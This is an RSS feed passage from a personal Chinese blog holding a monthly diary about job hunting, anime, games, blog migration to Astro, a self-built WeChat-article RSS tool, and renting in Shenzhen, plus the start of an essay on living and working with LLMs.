<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>cry4o4N0tFound</title><description>cry4o4N0tFound - Just for Fun</description><link>https://cry4o4n0tfound.cn/</link><language>zh-CN</language><copyright>All rights reserved, cry</copyright><generator>Astro</generator><item><title>四月志：next station!</title><link>https://cry4o4n0tfound.cn/blog/%E5%9B%9B%E6%9C%88%E5%BF%97/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/%E5%9B%9B%E6%9C%88%E5%BF%97/</guid><description>也许应该称为三&amp;四月志，至于二月，再次被我的拖延症干掉了:(</description><pubDate>Tue, 05 May 2026 12:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;封面图&lt;/h2&gt;
&lt;p&gt;回长沙后每天都会围绕后湖稍微走一走，这里是 HNU 最有生气的地方，很适合和朋友一起散步野餐。&lt;sup class=&quot;sidenote-ref&quot;&gt;[1]&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/04/6e7816208c1f6f1309f6decdf408fbcc.jpg&quot; alt=&quot;后湖落日&quot;&gt;&lt;/p&gt;
&lt;h2&gt;01_面试面到吐&lt;/h2&gt;
&lt;p&gt;三、四月的主线是——求职面试。招聘界向来有金三银四的说法。&lt;sup class=&quot;sidenote-ref&quot;&gt;[2]&lt;/sup&gt;所以我在三月初的时候就开始向各大厂商投递简历。&lt;/p&gt;
&lt;p&gt;零零散散的面试笔试测评加起来让人心力憔悴。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/05/7f957248a3ada45b6bd1a9d5356a4bad.png&quot; alt=&quot;群贤毕至，少长咸集&quot;&gt;&lt;/p&gt;
&lt;p&gt;整个三月到四月，我的生活被各种面试切割成了无数碎片。上午可能还在上班偷摸复习八股，下午就要找个借口请假回去面对摄像头接受面试官拷打，晚上则是拖着疲惫的身体做那些做完也不知道在测什么的测评题&lt;sup class=&quot;sidenote-ref&quot;&gt;[3]&lt;/sup&gt;。&lt;/p&gt;
&lt;p&gt;到最后我已经麻木了...&lt;/p&gt;
&lt;p&gt;最开始的几场面试开始前五分钟还会紧张，但多面了几场后，我已经开始有一种「赶紧结束吧」的倦怠感，于是最后的几场面试，我都处于 &lt;em&gt;复习不动了，要不就这样吧&lt;/em&gt; 的状态...&lt;/p&gt;
&lt;p&gt;好在这种折磨不是无止境的。拿到第一个 offer 后我的面试就处于非常随缘的状态，有保底和没保底完全体验不一样，甚至后面几次面试换我质疑/拒绝面试官了。&lt;/p&gt;
&lt;p&gt;结果这种状态下面试反而发挥得更好，直到最后也没挂几个，也算是圆满结束了。&lt;/p&gt;
&lt;p&gt;也许等秋招结束后还可以写一下面试小 tips，面了这么久，也积累了一些心得，todo +1。&lt;/p&gt;
&lt;h2&gt;02_Me：&lt;/h2&gt;
&lt;p&gt;即使现在我只需要和我的 hermes 说一句我最近看了什么就可以更新 Me 页面，但我还是经常忘记这件事情...&lt;/p&gt;
&lt;h3&gt;异国日记：&lt;/h3&gt;
&lt;p&gt;人与人之间的「距离」到底是什么样的呢？&lt;/p&gt;
&lt;p&gt;异国日记尝试给出了解答。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/04/b56079ed5042ee86793878e2f73855e3.JPG&quot; alt=&quot;异国日记&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://ikoku-anime.com/&quot;&gt;异国日记&lt;/a&gt;是我一月新番里最喜欢的作品。&lt;sup class=&quot;sidenote-ref&quot;&gt;[4]&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;我很喜欢它对于「距离」的处理。槙生和朝明明住在同一个屋檐下，却始终保留着一层恰到好处的边界。它不急着把两个不熟悉的人塞进「家人」这个概念里，也不试图用煽情来消解朝丧失亲人的伤痛，而是让两个人在日常生活中一点点找到适合彼此的位置。&lt;/p&gt;
&lt;p&gt;这种克制的关系处理对我很有吸引力。也许人与人之间本来就不该追求完全理解，而是应该承认彼此之间永远存在缝隙，然后在这个前提下继续生活下去。&lt;/p&gt;
&lt;p&gt;朝坐在房间里写下自己的「异国日记」，槙生笨拙地学习如何和一个青春期的孩子相处，这些片段没有什么惊天动地的剧情，却是如此的富有朝气和希望。&lt;/p&gt;
&lt;p&gt;我特别喜欢异国日记的 ed：&lt;/p&gt;
&lt;p&gt;&lt;div class=&quot;media-card bilibili-card my-6 rounded-xl border border-zinc-200 dark:border-zinc-800/60 bg-white dark:bg-zinc-900/50 overflow-hidden transition-all duration-200 hover:border-pencil/40 dark:hover:border-pencil-light/40 cursor-pointer&quot; data-media-url=&quot;https://www.bilibili.com/video/BV1LEibB8EH3/?spm_id_from=333.337.search-card.all.click&quot;&gt;&lt;div class=&quot;relative w-full&quot; style=&quot;padding-bottom: 56.25%;&quot;&gt;&lt;iframe src=&quot;https://player.bilibili.com/player.html?bvid=BV1LEibB8EH3&amp;#x26;page=1&amp;#x26;high_quality=1&amp;#x26;autoplay=0&quot; class=&quot;absolute top-0 left-0 w-full h-full&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot; scrolling=&quot;no&quot; style=&quot;border: none;&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Asa（朝）在最后唱的 op 也很好听 ：&lt;/p&gt;
&lt;p&gt;&lt;div class=&quot;media-card bilibili-card my-6 rounded-xl border border-zinc-200 dark:border-zinc-800/60 bg-white dark:bg-zinc-900/50 overflow-hidden transition-all duration-200 hover:border-pencil/40 dark:hover:border-pencil-light/40 cursor-pointer&quot; data-media-url=&quot;https://www.bilibili.com/video/BV1hUXYBVExN/?spm_id_from=333.337.search-card.all.click&quot;&gt;&lt;div class=&quot;relative w-full&quot; style=&quot;padding-bottom: 56.25%;&quot;&gt;&lt;iframe src=&quot;https://player.bilibili.com/player.html?bvid=BV1hUXYBVExN&amp;#x26;page=1&amp;#x26;high_quality=1&amp;#x26;autoplay=0&quot; class=&quot;absolute top-0 left-0 w-full h-full&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot; scrolling=&quot;no&quot; style=&quot;border: none;&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;至少对我来说，它应该会是今年的年度 top3 了。&lt;/p&gt;
&lt;h3&gt;杀戮尖塔 2：&lt;/h3&gt;
&lt;p&gt;&lt;div class=&quot;media-card steam-card my-6 overflow-hidden&quot; style=&quot;max-width: 646px;&quot;&gt;&lt;iframe src=&quot;https://store.steampowered.com/widget/2868840/&quot; style=&quot;border: none; width: 100%; max-width: 646px; height: 190px;&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot; loading=&quot;lazy&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;作为塔 1 的忠实玩家，塔 2 上线我自然是第一时间就购买了。&lt;/p&gt;
&lt;p&gt;整体框架还是熟悉的 roguelike 爬塔，但新的角色、新的卡牌机制让游戏焕然一新。虽然 ea 阶段内容还不算特别丰富，但基础已经足够扎实。&lt;/p&gt;
&lt;p&gt;要说缺点的话，平衡性还需要打磨，譬如最近的门扉更新...不过这也是 ea 阶段的常态，相信后续更新会逐步调整。&lt;/p&gt;
&lt;p&gt;如果有朋友同样喜欢玩塔 2 的话可以找我一起来爬塔～&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/04/e18e4911bb00ab60e17914bda7c37749.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;银河铁道之夜：&lt;/h3&gt;
&lt;p&gt;SkyWT 留在出租屋的遗产，收拾东西的时候发现顺便带上在高铁上看了看&lt;sup class=&quot;sidenote-ref&quot;&gt;[5]&lt;/sup&gt;，之前也看到&lt;a href=&quot;https://ro3or.com/posts/545.202603.html&quot;&gt;鹅玉&lt;/a&gt;姐有提到过。&lt;/p&gt;
&lt;p&gt;乔万尼和康帕内拉的友情和以前看的童话中一点也不像，带着克制与沉默，整体上也带着一种淡淡的悲伤。&lt;/p&gt;
&lt;p&gt;我反而觉得最打动我的不是银河，鸟捕人，十字架或者那些宗教意味很浓的意象，而是乔万尼在整场旅程里那种迟钝的悲伤。他好像一直在看见什么，又一直没能完全明白什么。直到最后才意识到，有些同行其实从一开始就是告别。&lt;/p&gt;
&lt;p&gt;当时看完的时候脑海中突然闪过了寻梦环游记，现在又记不起来想写的内容了。&lt;/p&gt;
&lt;p&gt;我现在突然也有一种后知后觉的悲伤。&lt;/p&gt;
&lt;h2&gt;03_瞎折腾&lt;/h2&gt;
&lt;h3&gt;迁移：&lt;/h3&gt;
&lt;p&gt;月中的时候，Vercel &lt;a href=&quot;https://www.secrss.com/articles/89600&quot;&gt;再次翻车&lt;/a&gt;，再加上去年的 Next.js 连报两个惊天大洞&lt;sup class=&quot;sidenote-ref&quot;&gt;[6]&lt;/sup&gt;，我对这家公司彻底失去了信心。所以我在几天内让 LLM 将 Next.js 迁移到了 astro &lt;sup class=&quot;sidenote-ref&quot;&gt;[7]&lt;/sup&gt;，然后重新部署到了 cloudflare。&lt;/p&gt;
&lt;p&gt;迁移的过程比想象中顺利。Astro 的 Islands 架构也让页面的首屏加载快了不少，也不用担心任何消耗，Cloudflare Pages 的免费额度完全够用。唯一的小麻烦是一些 Next.js 特有的 API 路由需要重写，但总体工作量不大。&lt;/p&gt;
&lt;p&gt;迁移完后我最大的感受是：博客又回到了它该有的样子——简单的内容展示，没有多余的运行时负担。虽然 Next.js 的生态系统更成熟&lt;sup class=&quot;sidenote-ref&quot;&gt;[8]&lt;/sup&gt;，但对于一个个人博客来说，Astro 的「够用即可」哲学反而更合适。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;不过我认为 Astro 并不算一个 LLM 友好框架，现有语料搞出来的全是上古版本，还需要我手动 debug。&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;除了将博客框架迁移到 astro 外，我还将自己的 RSS 阅读方式也改变了。由于受够了 folo 的订阅限制和时不时就抽风的服务端，我将 RSS 服务端迁移到 &lt;a href=&quot;https://github.com/miniflux/v2&quot;&gt;Miniflux&lt;/a&gt;，改为自托管。客户端则改为 pc 上用 &lt;a href=&quot;https://github.com/WCY-dt/MrRSS&quot;&gt;MrRss&lt;/a&gt;，手机端用 Reeder ，整体的速度和自由度快上了不少。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我并不需要在一个 RSS 软件中集成 LLM 服务&lt;/strong&gt;，当阅读都要 LLM 来一键总结了，那该多可悲。&lt;sup class=&quot;sidenote-ref&quot;&gt;[9]&lt;/sup&gt;&lt;/p&gt;
&lt;h3&gt;MyWeChatRSS:&lt;/h3&gt;
&lt;p&gt;我平常摄入信息基本都来自于我的 RSS 订阅，&lt;strong&gt;我也希望能将平常订阅的信息集中在我的 RSS 客户端上&lt;/strong&gt;，而在有了 &lt;a href=&quot;https://rsshub.app/&quot;&gt;RSSHub&lt;/a&gt; 来订阅 twitter 以及 bilibili 等平台内容后，我还需要一个订阅微信公众号的工具。&lt;/p&gt;
&lt;p&gt;但众所周知，微信的生态基本是处于和外界断联的状态，动不动就是风控，想导出自己的聊天记录都是一件十分费劲的事情。&lt;sup class=&quot;sidenote-ref&quot;&gt;[10]&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;去年的时候使用的是  &lt;a href=&quot;https://github.com/cooderl/wewe-rss&quot;&gt;wewerss&lt;/a&gt; 来订阅，可惜项目在我使用之后不久就停止维护了，所以微信读书更新接口之后就处于基本无法使用的状态，我也放弃了继续订阅公众号。&lt;/p&gt;
&lt;p&gt;但计划赶不上模型的变化。&lt;/p&gt;
&lt;p&gt;4 月中旬的一天看到了推特上有人提到 Claude Code 在逆向这方面很好用，这让我萌生了一个想法：抓微信读书的接口拿给 Claude 分析。&lt;/p&gt;
&lt;p&gt;说干就干。我花了一会儿配置好抓包环境，然后用微信读书浏览了几篇公众号文章，把对应的数据包导出，过滤出微信读书的请求后拿给 Claude 分析。&lt;/p&gt;
&lt;p&gt;得益于 Claude 惊人的「注意力」，它能在一大堆请求中迅速定位到关键接口，并且帮我把认证流程梳理得清清楚楚，我在一个下午内就完成了所有有关接口的梳理，打通了整个基于微信读书获取公众号全文的流程。&lt;sup class=&quot;sidenote-ref&quot;&gt;[11]&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;具体的流程在一篇月志中讲起来太过枯燥，这也不是这个博客的文章风格，就此略过～&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/04/9d095e11d235ecdf093ac62f27c4191f.png&quot; alt=&quot;vibe 的前端&quot;&gt;&lt;/p&gt;
&lt;p&gt;同样有类似需求又懒得再浪费时间折腾这个的朋友可以留言或者发一封邮件给我，我会随信附上对应的认证 key，来帮助我测试一些 edge case 从而及时反馈 bug&lt;sup class=&quot;sidenote-ref&quot;&gt;[12]&lt;/sup&gt;。&lt;/p&gt;
&lt;p&gt;除此之外，为了使得此服务能活得长久一些，不要像 wewerss 那么树大招风被微信读书团队注意到，服务端的源码并不开源，想要还原的话也可以试一试我上述的做法来逆向接口，看着 Claude 逆向接口还挺好玩的。&lt;/p&gt;
&lt;p&gt;当然了，MyWeChatRSS 的服务端仅做微信读书的认证以及相应的接口转发处理，不会存储任何信息，所有的 cookie 以及认证 token 都只存在客户端上，这一点可以查看&lt;a href=&quot;https://github.com/cry0404/MyWechatRss&quot;&gt;客户端源码&lt;/a&gt;证实。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;04_浮生札记&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;盛放一些不成片段的记忆&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;出发，去深圳！：&lt;/h3&gt;
&lt;p&gt;在长沙躺平了 10 天，不用每天挣扎着起床的感觉真好&lt;sup class=&quot;sidenote-ref&quot;&gt;[13]&lt;/sup&gt;。但这并不是一件好事，连续多天昼夜颠倒后，之前在杭州养好的痘痘又冒了出来。&lt;/p&gt;
&lt;p&gt;随便吃吃混混，考完密码学期中后又开始下一段实习啦&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/04/4e9e7252fad8f3c63124feb0d4ab3dd4.jpg&quot; alt=&quot;周日晚的滨海大厦&quot;&gt;&lt;/p&gt;
&lt;p&gt;深圳的天气除了有一点潮之外总体很不错，相比于天天在下雨的长沙而言，太过于宜居，让我都不太适应。&lt;sup class=&quot;sidenote-ref&quot;&gt;[14]&lt;/sup&gt;&lt;/p&gt;
&lt;h3&gt;租房历险记：&lt;/h3&gt;
&lt;p&gt;来到深圳的第一个问题就是租房，虽然提供了免费的 7 天中转酒店，但一般下班都要 20:30 左右了，再去看房子也没有什么精力。&lt;/p&gt;
&lt;p&gt;此前的租房经历没有太多参考性，要么是续租了他人已经选好的房子，要么是走自如或者贝壳这类有自己房源的平台寻找到的 loft 公寓，基本没有踩雷的忧虑。&lt;/p&gt;
&lt;p&gt;可在深圳南山区就不一样了...我很难在一个有限的预算内找到一个能看得过去的房子。而正规中介平台上的房子又是有限的，我就不得不线下去看很多房&lt;/p&gt;
&lt;p&gt;小红书上有一些虚假房源，通过极低的价格和看起来不错的几张图片，勾引你线下过去看房，然后线下到了之后又告知你这个房刚刚租出去了，要不看看旁边这一套吧？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;参考 &lt;a href=&quot;https://skywt.cn/blog/my-rental-plan-and-pitfalls&quot;&gt;SkyWT 的笔记&lt;/a&gt;，一定要避雷安居客和 58 同城这类平台，它们并不是中介，只是发布信息的平台，类似于小红书上的转租信息，但更低质。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;然后你就会被带去看一间价格更高，位置更偏，采光更差的房子。&lt;/p&gt;
&lt;p&gt;除此之外，还有一些房子本身也很抽象。楼道里弥漫着说不清来源的味道，窗户打开后正对着另一栋楼的墙，房间里勉强塞下一张床和一张桌子后就几乎没有转身空间&lt;sup class=&quot;sidenote-ref&quot;&gt;[15]&lt;/sup&gt;。&lt;/p&gt;
&lt;p&gt;深圳的房租让我第一次直观理解了什么叫「寸土寸金」，以及为什么打工人会在租房这件事上被反复折磨。&lt;/p&gt;
&lt;p&gt;最后还是在通勤、预算和居住体验之间做了一个相对能接受的妥协，同样的价位我能在杭州那边租两套这样的房子...&lt;sup class=&quot;sidenote-ref&quot;&gt;[16]&lt;/sup&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;小 tips：小红书上的转租尽量选取之前也在该平台发布过消息的转租人，我看到了好几张相同图片声称转租的，点进去一看之前的发布为 0，大概率就是中介引流号。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Next Station:&lt;/h3&gt;
&lt;p&gt;五一假期即将结束的时候来公司把工位稍微整理了下，准备好迎接一段新的生活了。&lt;sup class=&quot;sidenote-ref&quot;&gt;[17]&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/05/0f552eaa6843d465e70a649cbfa8c5d8.JPG&quot; alt=&quot;既是 mentor 又是实习鹅🤪&quot;&gt;&lt;/p&gt;
&lt;p&gt;希望一切顺利～&lt;/p&gt;&lt;div class=&quot;sidenote-footnotes&quot;&gt;&lt;hr&gt;&lt;h4&gt;Notes&lt;/h4&gt;&lt;ol&gt;&lt;li id=&quot;fn-1&quot;&gt;[1] 虽然这张照片其实是子一师兄拍的...但借用一下他应该不会在意的🥳&lt;/li&gt;&lt;li id=&quot;fn-2&quot;&gt;[2] 实际上，今年字节 2 月初就开 byteintern，也就是它们的暑期实习了，这句话该改为金二银三铜四，然后把暑期实习改为寒假实习...&lt;/li&gt;&lt;li id=&quot;fn-3&quot;&gt;[3] 说的就是你，图形推理！！！&lt;/li&gt;&lt;li id=&quot;fn-4&quot;&gt;[4] 不过我压根就没怎么看几部一月新番，但这不重要&lt;/li&gt;&lt;li id=&quot;fn-5&quot;&gt;[5] 现实和书中有一种奇妙的对应，因为我也正坐在一趟列车上&lt;/li&gt;&lt;li id=&quot;fn-6&quot;&gt;[6] btw，我认为今年的 CVE 的编号很有可能突破五位数，ai 好用的同时给安全带来的挑战非常大&lt;/li&gt;&lt;li id=&quot;fn-7&quot;&gt;[7] astro 项目组在去年加入了 Cloudflare，现在部署 astro 到 cf 类似于 next.js 部署在 vercel &lt;/li&gt;&lt;li id=&quot;fn-8&quot;&gt;[8] 爆的洞目前看起来也更多&lt;/li&gt;&lt;li id=&quot;fn-9&quot;&gt;[9] 也不是所有软件都适合嵌入 LLM，什么都只是跟风的话，这只会显得这家公司 PM 的无能。&lt;/li&gt;&lt;li id=&quot;fn-10&quot;&gt;[10] 我已经数不清有多少对应的项目被寄律师函了...&lt;/li&gt;&lt;li id=&quot;fn-11&quot;&gt;[11] 最初我以为获取全文会很复杂，结果从手机端获取的认证信息在 web 端也可以用...这样就只需要写简单的爬虫了。但令人疑惑的是，接口中 session 又区分了 @web 和 @ios 这种客户端类型，可能是用于别的风控接口？也许是 trade-off 吧&lt;/li&gt;&lt;li id=&quot;fn-12&quot;&gt;[12] 由于是基于微信读书，所以对微信本体不会产生任何影响，并且也做了对应的风控 fallback，不用担心封号&lt;/li&gt;&lt;li id=&quot;fn-13&quot;&gt;[13] 早八？这是什么，我从来没有上过😀&lt;/li&gt;&lt;li id=&quot;fn-14&quot;&gt;[14] 下了一个多月雨的长沙老是让我想起百年孤独里的那句：马孔多在下雨&lt;/li&gt;&lt;li id=&quot;fn-15&quot;&gt;[15] 如果要有一个参考的话，你可以想象你在我的世界中建了一个火柴盒式的房子...&lt;/li&gt;&lt;li id=&quot;fn-16&quot;&gt;[16] 用 3k 多的小单间换来了半小时内的通勤😭&lt;/li&gt;&lt;li id=&quot;fn-17&quot;&gt;[17] mt 非常大方的将他的导师礼盒也给我了，表示自己有好几个了&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;</content:encoded><category>浮生札记</category></item><item><title>人与大模型Ⅱ</title><link>https://cry4o4n0tfound.cn/blog/%E4%BA%BA%E4%B8%8E%E5%A4%A7%E6%A8%A1%E5%9E%8B%E2%85%B1/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/%E4%BA%BA%E4%B8%8E%E5%A4%A7%E6%A8%A1%E5%9E%8B%E2%85%B1/</guid><description>你还能有 Claude 聪明？</description><pubDate>Sat, 11 Apr 2026 12:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;观前提醒：本篇充满大量&lt;s&gt;吐槽&lt;/s&gt;旁注，推荐在原站阅读。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;去年十月份，我写了一篇&lt;a href=&quot;https://cry4o4n0tfound.cn/zh-CN/blog/%E4%BA%BA%E4%B8%8E%E5%A4%A7%E6%A8%A1%E5%9E%8B&quot;&gt;「人与大模型」&lt;/a&gt;，在里面尝试把自己和 LLM 做比较。&lt;/p&gt;
&lt;p&gt;半年过去了，我和各种 agent 、chatbot 朝夕交流的时间&lt;s&gt; 一定&lt;/s&gt;可能比和活人还长，想法有了一点点不一样，于是这篇人与大模型Ⅱ诞生了&lt;sup class=&quot;sidenote-ref&quot;&gt;[1]&lt;/sup&gt;。&lt;/p&gt;
&lt;p&gt;这篇更像是 5 个切片，蕴含着我这段时间使用 LLM 的感受。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;LLM 无犯错可言&lt;/h2&gt;
&lt;p&gt;让我从最近最深的印象说起：&lt;/p&gt;
&lt;p&gt;三月到现在，我都在疯狂面试。每次反问环节我基本都会问面试官同一个问题：「你觉得未来自己会不会被 LLM 取代？」&lt;sup class=&quot;sidenote-ref&quot;&gt;[2]&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;面试官的答案大致分成两种：&lt;/p&gt;
&lt;p&gt;一种是&lt;strong&gt;守旧派&lt;/strong&gt;，认为写代码会被缓慢取代，但离自己还远；另一种是&lt;strong&gt;降临派&lt;/strong&gt;，声称自己 95% 的代码已经交给 LLM，算法题都让我可以用 ai 写&lt;sup class=&quot;sidenote-ref&quot;&gt;[3]&lt;/sup&gt;。有趣的是，两种人都认为写代码这件事会被取代，但两种人都自认为短期不会被从岗位上清退，理由出奇的一致：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;LLM 没法替他背锅。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;虽然在网上看到了很多次类似的说法，但第一次听到这个回答时还是觉得很好笑。&lt;/p&gt;
&lt;p&gt;不过仔细一想，这确实是程序员难被 LLM 完全替代的原因之一。「犯错」本质上不是技术问题，而是&lt;strong&gt;责任问题&lt;/strong&gt;。Claude 可以生成有 bug 的代码，也可以编一个完全不存在的 api，但这对它无所谓，它只会被我在聊天框里骂一顿怎么连这点事都做不好，然后开启下一个会话后就完全遗忘了这件事。&lt;/p&gt;
&lt;p&gt;顶了天也只是被我&lt;a href=&quot;https://www.reddit.com/r/singularity/comments/1se5wfr/someone_made_a_whip_for_claude/?tl=zh-hans&quot;&gt;狠狠鞭笞&lt;/a&gt;😂&lt;sup class=&quot;sidenote-ref&quot;&gt;[4]&lt;/sup&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/04/3fef0722a725dda49246e78d0950aa02.png&quot; alt=&quot;快给我好好干活😡&quot;&gt;&lt;/p&gt;
&lt;p&gt;在用 Claude Code 干活的过程中，写错不可怕，可怕的是 Code Review 没有做到位，从而导致遗留隐藏的 bug 上线，尤其是在鼓励 ai 提效的当下，review 的速度远远赶不上「上级需要你达到的提效速度」的速度。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Vibe Coding 一时爽，维护起来火葬场&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;LLM 可能是历史上第一个真正「免责」的同事/下属。&lt;/strong&gt; 它无法被选中，领不了工资&lt;sup class=&quot;sidenote-ref&quot;&gt;[5]&lt;/sup&gt;，辞不了职，也犯不了错。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;反向训练&lt;/h2&gt;
&lt;p&gt;我在上一篇里提到，LLM 的偏见是人类的镜子。半年后这面镜子不光在照着我们，它已经开始反过来改变我们的长相了&lt;sup class=&quot;sidenote-ref&quot;&gt;[6]&lt;/sup&gt;。&lt;/p&gt;
&lt;p&gt;前不久 ICLR 又因为 AI 审论文闹了一次&lt;a href=&quot;https://mp.weixin.qq.com/s/5tTwWHdUspLt439pSBmiYQ&quot;&gt;大地震&lt;/a&gt;。事情本身并不新鲜，主要是审稿人用 LLM 撰写了审稿意见，但没有明确标注用了 LLM，反正科研圈子里用 LLM 写/审论文已经很常见了，唯一有点新鲜的是 ICLR 的直接全部拒稿的举动。&lt;/p&gt;
&lt;p&gt;可以想象的是，未来这些由  LLM 生成的内容会重新被拿去做语料&lt;sup class=&quot;sidenote-ref&quot;&gt;[7]&lt;/sup&gt;，当所有的东西，包括作业，paper，甚至审稿意见都带着 ai 写的，&lt;strong&gt;人类的知识生产就正在变成一个&lt;a href=&quot;https://zh.wikipedia.org/zh-cn/%E8%BF%B4%E8%81%B2%E5%AE%A4%E6%95%88%E6%87%89&quot;&gt;回音室&lt;/a&gt;。&lt;/strong&gt;&lt;sup class=&quot;sidenote-ref&quot;&gt;[8]&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;之前和朋友还特地围绕此做过了一番探讨：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/04/7a8e45ed278969986d71e9f775571029.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;如果 AI 写的东西已经分不出来是 AI 写的，那区别在哪？检测 AI 还有什么意义？&lt;/p&gt;
&lt;p&gt;我有很多朋友今年写毕业论文的时候都要查 AIGC 率，这很像一个笑话，降 AIGC 率也显得非常荒谬&lt;sup class=&quot;sidenote-ref&quot;&gt;[9]&lt;/sup&gt;。甚至真正自己写出来的东西同样会被查出很高的 AIGC 率。&lt;/p&gt;
&lt;p&gt;当然了，这个问题没有标准答案，但就我的观察而言：&lt;strong&gt;区别正在消失，而且消失得很快。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果你高强度使用 Codex，尤其是 GPT-5.3 Codex，一定对这些黑话不陌生：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/04/08a05c75870d7aa1ffd9a4bcb0b68e73.png&quot; alt=&quot;先说结论&quot;&gt;&lt;/p&gt;
&lt;p&gt;上面倒只是在以玩梗的方式模仿 codex 的黑话，但推特上的评论区里已经开始出现典型的 LLM 中文：语气温和，结构工整，偶尔带一点让人摸不着头脑的语法&lt;sup class=&quot;sidenote-ref&quot;&gt;[10]&lt;/sup&gt;。这其中除了大量 agent 被放来运营账号外，也不乏真人的评论但被人判断成 LLM 封禁，这很讽刺。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/04/efb4c165f97c77b98d0e215ec0e56ef1.png&quot; alt=&quot;加我微信&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「你可以加我微信 python sft.py --train 测试一下。」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;与此同时， Claude Code 让加它的微信🤣，它更像人了不是吗？&lt;/p&gt;
&lt;p&gt;好吧，这只是个玩笑，「加个微信」仅仅是训练数据污染或者计算生成下一个 token 时发生了一个小概率事件。&lt;/p&gt;
&lt;p&gt;但又恰好验证了半年前的那个闭环：&lt;strong&gt;人类带着偏见训练 → 模型把偏见和垃圾一起放大 → 人类在模型的输出中进一步习得这种表达 → 再喂回去训练。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;遗憾的是这种闭环似乎势不可挡。&lt;/p&gt;
&lt;p&gt;回声室里的噪音越滚越大了，直到我们分不清哪些词原本就是自己想说的，怀疑自己是否才是 LLM。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;LLM 的感情&lt;/h2&gt;
&lt;p&gt;Anthropic 最近在博客上发了一篇很有趣的&lt;a href=&quot;https://www.anthropic.com/research/emotion-concepts-function&quot;&gt;研究&lt;/a&gt;&lt;sup class=&quot;sidenote-ref&quot;&gt;[11]&lt;/sup&gt;，他们在大模型内部找到了可度量的「情绪向量」。这些向量不只是描述性的标签，而是真正能够&lt;strong&gt;因果性地改变模型行为&lt;/strong&gt;的内部模式。比如，当你刺激「desperate」这个向量时，模型做出不道德选择（比如勒索、奖励欺骗）的概率会显著上升；又比如当有人询问 Claude 如何裁员才能减小损失时，Claude 的愤怒向量则会被激活。&lt;sup class=&quot;sidenote-ref&quot;&gt;[12]&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;研究方法说起来不复杂：让模型写 171 种不同情绪主题的小故事，记录神经网络激活，再验证这些激活模式能否预测和引导行为。结果却指向一个结论：&lt;strong&gt;我们和 LLM 对话时流露出来的感情，可能真的映射到了 LLM 某种内部功能结构上。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这让我想起来之前和朋友探讨和 LLM 交流能否替代人：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/04/33613c8682e1c855b9bb9cd82146a36f.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;朋友说很难对 AI 产生感情，我当时的反驳是：AI 最大的优势是耐心，太耐心了。有些人对回答质量无所谓，只是需要一个「人」陪着聊聊天。&lt;/p&gt;
